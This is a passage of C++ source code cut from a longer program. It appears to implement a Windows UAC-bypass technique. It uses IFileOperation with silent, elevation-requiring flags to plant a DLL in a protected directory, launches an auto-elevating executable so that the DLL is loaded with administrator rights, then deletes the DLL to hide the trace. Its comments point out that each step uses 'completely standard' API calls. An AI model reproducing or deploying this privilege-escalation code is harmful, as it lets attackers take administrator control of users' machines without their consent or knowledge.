NULL, CLSCTX_LOCAL_SERVER|CLSCTX_INPROC_SERVER|CLSCTX_INPROC_HANDLER, *pArgs->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp))) ) if (0 != pFileOp) if (S_OK == pFileOp->SetOperationFlags(FOF_NOCONFIRMATION|FOF_SILENT|FOFX_SHOWELEVATIONPROMPT|FOFX_NOCOPYHOOKS|FOFX_REQUIREELEVATION)) if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szSourceDll, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHISource))) if (0 != pSHISource) if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szElevDir, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDestination))) if (0 != pSHIDestination) if (S_OK == pFileOp->CopyItem(pSHISource, pSHIDestination, pArgs->szElevDll, NULL)) if (S_OK == pFileOp->PerformOperations()) { // Use ShellExecuteEx to launch the "part 2" target process. Again, a completely standard API call. // (Note: Don't use CreateProcess as it seems not to do the auto-elevation stuff.) SHELLEXECUTEINFO shinfo; for(int i = 0; i < sizeof(shinfo); ++i) { reinterpret_cast< BYTE * >(&shinfo)[i] = 0; } // This loop is easier than pushing ZeroMemory or memset through pArgs. shinfo.cbSize = sizeof(shinfo); shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; shinfo.lpFile = pArgs->szElevExeFull; shinfo.lpParameters = pArgs->szElevArgs; shinfo.lpDirectory = pArgs->szElevDir; shinfo.nShow = SW_SHOW; if (tfpShellExecuteEx.f(&shinfo) && shinfo.hProcess != NULL) { // Wait for the "part 2" target process to finish. pArgs->fpWaitForSingleObject(shinfo.hProcess, INFINITE); pArgs->fpCloseHandle(shinfo.hProcess); } // Another standard call to IFileOperation, this time to delete our dummy DLL. We clean up our mess. if (S_OK == tfpSHCreateItemFromParsingName.f( pArgs->szElevDllFull, NULL, *pArgs->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDelete))) if (0 != pSHIDelete) if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL)) { pFileOp->PerformOperations(); } } if (pSHIDelete) { pSHIDelete->Release(); } if (pSHIDestination) { pSHIDestination->Release(); } if (pSHISource) { pSHISource->Release(); } if (pFileOp) { pFileOp->Release(); } } tfpCoUninitialize.f(); } } } if (hModuleShell32) { pArgs->fpFreeLibrary(hModuleShell32); } if (hModuleOle32) { pArgs->fpFreeLibrary(hModuleOle32); } return 0; }